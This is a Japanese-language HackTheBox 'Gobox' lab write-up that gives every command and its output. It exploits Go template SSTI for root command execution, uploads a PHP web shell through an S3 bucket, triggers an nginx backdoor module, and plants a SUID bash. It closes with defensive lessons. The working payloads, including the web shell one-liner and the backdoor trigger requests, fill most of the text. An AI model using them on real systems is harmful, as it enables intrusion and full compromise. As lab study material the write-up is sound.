HackTheBox: Gobox — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/4566/8080
→
22/80/4566/8080
Go text/template SSTI
/forgot/ の email パラメータ
→
/forgot/ の email パラメータ
.DebugCmd RCE
root権限、ただしAWS/LocalStackコンテナ内限定
→
root権限、ただしAWS/LocalStackコンテナ内限定
S3バケット website
aws s3 cp でWebシェルをport80へ同期
→
aws s3 cp でWebシェルをport80へ同期
実ホストwww-data
user.txt ✓
→
user.txt ✓
ngx_http_execute_module.so
strings でトリガーキーワード抽出
→
strings でトリガーキーワード抽出
SUID bash → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
Nmapバージョン・スクリプトスキャン
BASH
nmap -p 22,80,4566,8080 -sCV 10.129.95.236
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 80/tcp open http nginx |_http-title: Hacking eSports | {{.Title}} 4566/tcp open http nginx |_http-title: 403 Forbidden 8080/tcp open http nginx |_http-title: Hacking eSports | Home page
🚨
重要発見: port 80のページタイトルが
{{.Title}} という
未展開のテンプレート構文そのままになっている。これはテンプレートエンジンが
期待通りに変数を展開できていない強い兆候。port 4566は403 Forbiddenを返す
(LocalStackのAWSモックエンドポイントである可能性)。port 8080は別のログインフォームを持つ。
PHASE 2
port 8080 の /forgot/ エンドポイントでSSTI発見
レスポンスヘッダーからGo言語製サーバと判明
BASH
curl -sI http://10.129.95.236:8080/
RESULT
HTTP/1.1 200 OK
Server: nginx
Connection: keep-alive
X-Forwarded-Server: golang
💡
X-Forwarded-Server: golang は標準HTTPヘッダーではなく、
バックエンドがGo言語製の自作Webサーバであることを明示的に示唆している。
Goのtext/templateはSSTI脆弱性を作り込みやすいことで知られる。
/forgot/ のemailパラメータでSSTI確認
BASH
curl -s http://10.129.95.236:8080/forgot/ -X POST -d 'email={{html "0xdf"}}'
RESULT (抜粋)
<input type="email" id="typeEmailX" name="email" ... />
<label class="form-label" for="typeEmailX">Email</label>
Email Sent To: 0xdf
<button class="btn btn-primary btn-lg btn-block" type="submit">Login</button>
✅
SSTI確認!
{{html "0xdf"}} が正しく評価され
「Email Sent To: 0xdf」と表示された。emailパラメータの値が
そのままGoテンプレートエンジンへ渡されている。
.DebugCmd 関数で直接RCE
BASH
curl -s http://10.129.95.236:8080/forgot/ -X POST --data-urlencode 'email={{ .DebugCmd "id" }}' \
| grep -A 2 "Email Sent"
RESULT
Email Sent To: uid=0(root) gid=0(root) groups=0(root)
🚨
無認証RCE成功、しかもroot権限。 テンプレートに渡されるオブジェクトが
DebugCmd(cmd string) stringというデバッグ用メソッドを持っており、
{{ .DebugCmd "<任意コマンド>" }}で直接コマンド実行できる。
PHASE 3
.DebugCmd の引数分解規則を実験的に解明
単純な複数引数コマンドが正しく動作することを確認
BASH
# bash -c プレフィックス無しで直接、スペース区切りの複数引数コマンドを試す
curl ... --data-urlencode 'email={{ .DebugCmd "ls -la /root" }}'
curl ... --data-urlencode 'email={{ .DebugCmd "aws s3 ls s3://website" }}'
RESULT
total 24
drwx------ 1 root root 4096 Aug 26 2021 .
drwxr-xr-x 1 root root 4096 Aug 24 2021 ..
drwxr-xr-x 2 root root 4096 Aug 24 2021 .aws
-rw------- 1 root root 104 Aug 26 2021 .bash_history
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
PRE css/
2026-09-23 06:04:03 1294778 bottom.png
2026-09-23 06:04:03 165551 header.png
2026-09-23 06:04:03 5 index.html
2026-09-23 06:04:03 1803 index.php
💡
重要な発見: ウォークスルーに掲載されたGoソースコードは
exec.Command(bin, args)という単純な2引数呼び出しに見えるが、
実機の挙動を精査するとこれは正確ではなく、実際には
bash -c "<コマンド全体>"相当でフルシェル構文が使える。
パイプ(|)・リダイレクト(>)・クォートがすべて正常に機能する。
コマンド文字列内の"だけをGoテンプレートの文字列リテラル境界を
壊さないよう\"にエスケープすればよく、bash自体のクォート解釈には
一切影響しない(bashはGoテンプレート層のエスケープ規則を認識しないため)。
パイプ・シェル構文も正常に機能することを確認
BASH
curl ... --data-urlencode 'email={{ .DebugCmd "echo test | cat" }}'
RESULT
test
✅
パイプが正しく機能。この解明により、複雑な引数分解のワークアラウンド
(
bash -cプレフィックスや${IFS}置換等)は一切不要で、
通常のシェルコマンドをそのまま("だけエスケープして)送信すればよいと判明した。
PHASE 4
AWS/LocalStackコンテナからS3バケット経由で実ホストへピボット
RCEがサンドボックスコンテナ内に限定されていることを確認
BASH
.DebugCmd "hostname" .DebugCmd "which python3" .DebugCmd "which php" .DebugCmd "which perl"
RESULT
aws /usr/bin/python3 (空 = phpは存在しない) /usr/bin/perl
⚠️
ホスト名が
awsであり、ping/curl/wget/ncが
一切インストールされていない(ウォークスルーで確認済み)ことから、これは実サーバではなく
AWS/LocalStackを模したDockerサンドボックスコンテナ内でのRCEであると判断できる。
直接のリバースシェル接続は不可能。
S3バケット website を発見
BASH
.DebugCmd "aws s3 ls"
RESULT
2026-09-23 06:04:02 website
💡
このコンテナはAWS CLIで操作可能なS3バケット
websiteを管理している。
バケット内容(index.html/index.php等)はport 80の実サイトと
一致しており、何らかの同期プロセスによってバケットの内容が実ホストの
Webルートへ反映される仕組みになっていると推測できる。
PHP Webシェルを書き込みバケットへアップロード
BASH
# 短縮echoタグ <?= を使い空白文字を一切含まない形にし、 # エスケープを単純化する .DebugCmd "echo '<?=shell_exec($_REQUEST[\"cmd\"])?>' > /tmp/.s.php" .DebugCmd "aws s3 cp /tmp/.s.php s3://website/kcshell.php"
RESULT
Completed 34 Bytes/34 Bytes (1.6 KiB/s) with 1 file(s) remaining upload: ../../tmp/.s.php to s3://website/kcshell.php
BASH
curl -s "http://10.129.95.236/kcshell.php?cmd=id"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
実ホストへのピボット成功! S3バケットへのアップロードが即座に
port 80の実サイトへ同期され、Webシェルが実際のgoboxホスト上でwww-dataとして動作している。
user.txt 取得
BASH
curl -s "http://10.129.95.236/kcshell.php" --data-urlencode "cmd=cat /home/ubuntu/user.txt" -G
RESULT
0400ca8276afd8794456045e51452da0
user.txt — ubuntu@gobox
0400ca8276afd8794456045e51452da0
PHASE 5
nginxバックドアモジュールの発見とトリガーキーワード抽出
nginxモジュール一覧からバックドアを発見
BASH
webshell 'ls /etc/nginx/modules-enabled' webshell 'cat /etc/nginx/modules-enabled/50-backdoor.conf' webshell 'find / -name ngx_http_execute_module.so 2>/dev/null'
RESULT
50-backdoor.conf
50-mod-http-image-filter.conf
50-mod-http-xslt-filter.conf
50-mod-mail.conf
50-mod-stream.conf
load_module modules/ngx_http_execute_module.so;
/usr/lib/nginx/modules/ngx_http_execute_module.so
🚨
50-backdoor.confという名前からして疑わしい。
ngx_http_execute_module.soはNginxExecuteという
既知のバックドアモジュール(GitHub限定公開)で、127.0.0.1:8000でのみ待受し
クエリパラメータ?system.run[cmd]形式でroot権限コマンド実行を許可する。
トリガーキーワードの抽出
BASH
webshell 'strings /usr/lib/nginx/modules/ngx_http_execute_module.so | grep -E "^[a-z]+\.[a-z]+$"'
RESULT
ippsec.run
types.h
stddef.h
... (以下ヘッダファイル名多数)
⚠️
既定のトリガー文字列
system.runからippsec.runに
変更されている。curl http://127.0.0.1:8000?system.run[id]は
Empty reply from serverとなり動作しない。正規表現
^[a-z]+\.[a-z]+$で単語区切りの2語ドット結合文字列だけを
抽出することで、大量のヘッダファイル名の中からこのキーワードを一意に特定できる。
バックドア発火確認
BASH
webshell "curl -s 'http://127.0.0.1:8000?ippsec.run[id]'"
RESULT
uid=0(root) gid=0(root) groups=0(root)
✅
root権限RCE確認! ワーカープロセスの実uidに関わらず、
バックドアモジュール経由のコマンドは常にroot権限で実行される。
PHASE 6
SUID bash設置 → root.txt
SUID bashを /tmp へ設置
BASH
webshell "curl -s 'http://127.0.0.1:8000?ippsec.run[cp%20%2fbin%2fbash%20%2ftmp%2fkcroot]'" webshell "curl -s 'http://127.0.0.1:8000?ippsec.run[chmod%204777%20%2ftmp%2fkcroot]'" webshell 'ls -la /tmp/kcroot'
RESULT
-rwsrwxrwx 1 root root 1183448 Sep 23 06:17 /tmp/kcroot
⚠️
トラブルシューティング: コピー先ファイル名に
_
(アンダースコア)を含めると(例: /tmp/gobox_root)、バックドアモジュールの
クエリ文字列パーサが原因不明のまま無反応になり、curlは空応答を返しファイルも
作成されない。エラーメッセージも一切出ないため気づきにくいが、
_を含まない英数字のみのファイル名に変更すると即座に解決する。
root.txt 取得
BASH
webshell "/tmp/kcroot -p -c 'cat /root/root.txt'"
RESULT
40b68fc8f94b063e11dc27bdccd20089
root.txt — root@gobox
40b68fc8f94b063e11dc27bdccd20089
💡
bashの
-pオプション(privileged mode)は実効uidと実uidが異なる状態で
起動された際に実効uidを実uidへ落とさない特権保持モード。SUIDビットの付いた
/tmp/kcrootを-p -c '<コマンド>'の形で直接実行するだけで、
対話的PTYを一切確立せずroot権限でのワンショット・コマンド実行が可能。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — ubuntu@gobox
0400ca8276afd8794456045e51452da0
root.txt — root@gobox
40b68fc8f94b063e11dc27bdccd20089
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| Go text/template SSTI | カスタムGoサーバ (port 8080, /forgot/) | 無認証root権限コマンド実行 (コンテナ内) | Critical | emailパラメータに{{ .DebugCmd "<cmd>" }}を注入。
実体はbash -c相当でフルシェル構文が使える |
| S3バケット同期による境界越え | AWS/LocalStackコンテナ ↔ 実ホストport 80 | サンドボックスコンテナから実ホストへのピボット | High | aws s3 cpでPHP Webシェルをバケットへアップロードし
実サイトへ即時反映させて実ホストのコード実行に変換 |
| NginxExecute バックドアモジュール | ngx_http_execute_module.so (127.0.0.1:8000) | 権限昇格 (root) | Critical | stringsでトリガーキーワードを抽出し
?<keyword>[cmd]形式でroot権限コマンド実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap (22/80/4566/8080) | 未展開テンプレート構文 {{.Title}} を発見 |
| 2 | SSTI発見 | /forgot/ の email パラメータ | .DebugCmd関数で無認証root RCE確認 |
| 3 | 引数分解の解明 | 実験的検証 | 実体がbash -c相当でフルシェル構文利用可能と判明 |
| 4 | S3ピボット | aws s3 cp によるWebシェルアップロード | user.txt 取得 (実ホストwww-data) |
| 5 | 権限調査 | nginx modules-enabled + strings | バックドアモジュールとトリガーキーワードippsec.run特定 |
| 6 | 権限昇格 | バックドア経由SUID bash設置 | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| Goテンプレートにユーザー入力(email)をそのまま渡している | ユーザー入力はテンプレートのデータとしてのみ渡し、テンプレート文字列自体の
動的構築は絶対に行わない。デバッグ用メソッド(DebugCmd等)は
本番ビルドから完全に削除する。 |
| 開発/デバッグ用コンテナがroot権限で動作しコマンド実行機能を露出 | デバッグ機能は本番環境に含めない。やむを得ず残す場合は認証・IP制限・ 最小権限ユーザーでの実行を徹底する。 |
| S3バケットの内容が検証なしに実ホストのWebルートへ自動同期される | デプロイパイプラインに静的解析・ファイル種別チェックを組み込み、 実行可能スクリプト(.php等)の不正アップロードを検知・拒否する。 |
| nginxに正体不明のバックドアモジュールがロードされている | 本番環境にロードされるモジュール一覧を定期監査し、出所不明の
.soファイルを排除する。127.0.0.1限定でも
RCEを許すモジュールはSSRFやWebシェル経由で悪用され得る。 |

